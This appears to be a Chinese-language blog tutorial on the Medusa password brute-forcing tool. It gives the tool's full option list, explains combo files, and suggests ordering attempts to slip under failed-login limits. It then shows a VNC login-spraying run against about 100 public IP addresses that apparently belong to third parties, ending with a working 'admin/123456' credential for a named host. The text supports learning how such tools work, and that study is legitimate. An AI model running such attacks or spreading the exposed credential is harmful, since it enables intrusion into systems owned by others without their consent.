官网

http://foofus.net/goons/jmk/medusa/

和知名的暴力破解工具 hydra 很像的另一个工具 

Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

medusa: option requires an argument -- ‘h‘

CRITICAL: Unknown error processing command-line options.

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

  -h [TEXT]    : Target hostname or IP address

  -H [FILE]    : File containing target hostnames or IP addresses

  -u [TEXT]    : Username to test

  -U [FILE]    : File containing usernames to test

  -p [TEXT]    : Password to test

  -P [FILE]    : File containing passwords to test

  -C [FILE]    : File containing combo entries. See README for more information.

  -O [FILE]    : File to append log information to

  -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)

  -M [TEXT]    : Name of the module to execute (without the .mod extension)

  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a

                 different parameter each time and they will all be sent to the module (i.e.

                 -m Param1 -m Param2, etc.)

  -d           : Dump all known modules

  -n [NUM]     : Use for non-default TCP port number

  -s           : Enable SSL

  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)

  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)

  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.

  -c [NUM]     : Time to wait in usec to verify socket is available (default 500 usec).

  -t [NUM]     : Total number of logins to be tested concurrently

  -T [NUM]     : Total number of hosts to be tested concurrently

  -L           : Parallelize logins using one username per thread. The default is to process 

                 the entire username before proceeding.

  -f           : Stop scanning host after first valid username/password found.

  -F           : Stop audit after first valid username/password found on any host.

  -b           : Suppress startup banner

  -q           : Display module‘s usage information

  -v [NUM]     : Verbose level [0 - 6 (more)]

  -w [NUM]     : Error debug level [0 - 10 (more)]

  -V           : Display version

  -Z [TEXT]    : Resume scan based on map of previous scan

常用的参数

medusa -M vnc -n 5901 -R 0 -C xaa -f -T 10 -O good.txt

-M 选择破解模块

-n 自己定义服务的端口

-R 设置尝试多少次连接后 退出

-C 设置COMBO文件路径，也就是从文件做按行读取主机 用户名 和端口

可用的行格式如下：

• host:username:password

• host:username:

• host::

• :username:password

• :username:

• ::password

• host::password

建议使用 combo 文件来进行爆破的功能，应该这样可以设置哪个主机先爆破，可控性较强，适用于一些限制失败次数的服务，可以设置先遍历主机 再遍历用户密码，这样可以把一段时间内对同一主机的探测次数减到最少

-f 一个主机检测到一个正确的密码后就停止

-T 设置并发主机数

-O 设置结果保存的文件，程序会将正确的结果保存到这个文件中

一次检测的主机数量不能太多，如果太多可以使用 split -l 拆分combo 文件 

root@kali :~/tmp# medusa -M vnc -n 5901 -R 0 -C xaa -f -T 10 -O good.txt

Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.226.179.128

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.72.77

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.226.179.135

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.71.239

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.72.148

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.72.31

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.72.36

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.74.156

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.74.68

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.75.213

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.75.242

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.112.109

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.122.129

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.65.192

ACCOUNT CHECK: [vnc] Host: 218.93.54.xxx (19 of 100, 14 complete) User: admin (1 of 1, 0 complete) Password: 123456 (1 of 1 complete)

ACCOUNT FOUND: [vnc] Host: 218.93.54.150 User: admin Password: 123456 [SUCCESS]

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.100.242

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.120.212

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.121.155

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.122.148

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.64.234.132

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.64.236.48

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.4.234.30

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.64.234.254

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.66.255.103

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.69.161.253

NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.69.169.218

root@kali :~/tmp# cat good.txt 

# Medusa v.2.1.1 (2014-11-21 15:51:18)

# medusa -M vnc -n 5901 -R 0 -C xaa -f -T 10 -O good.txt 

ACCOUNT FOUND: [vnc] Host: 218.93.54.xxx User: admin Password: 123456 [SUCCESS]

# Medusa has finished (2014-11-21 15:52:18).

暴力破解工具 medusa （马杜莎）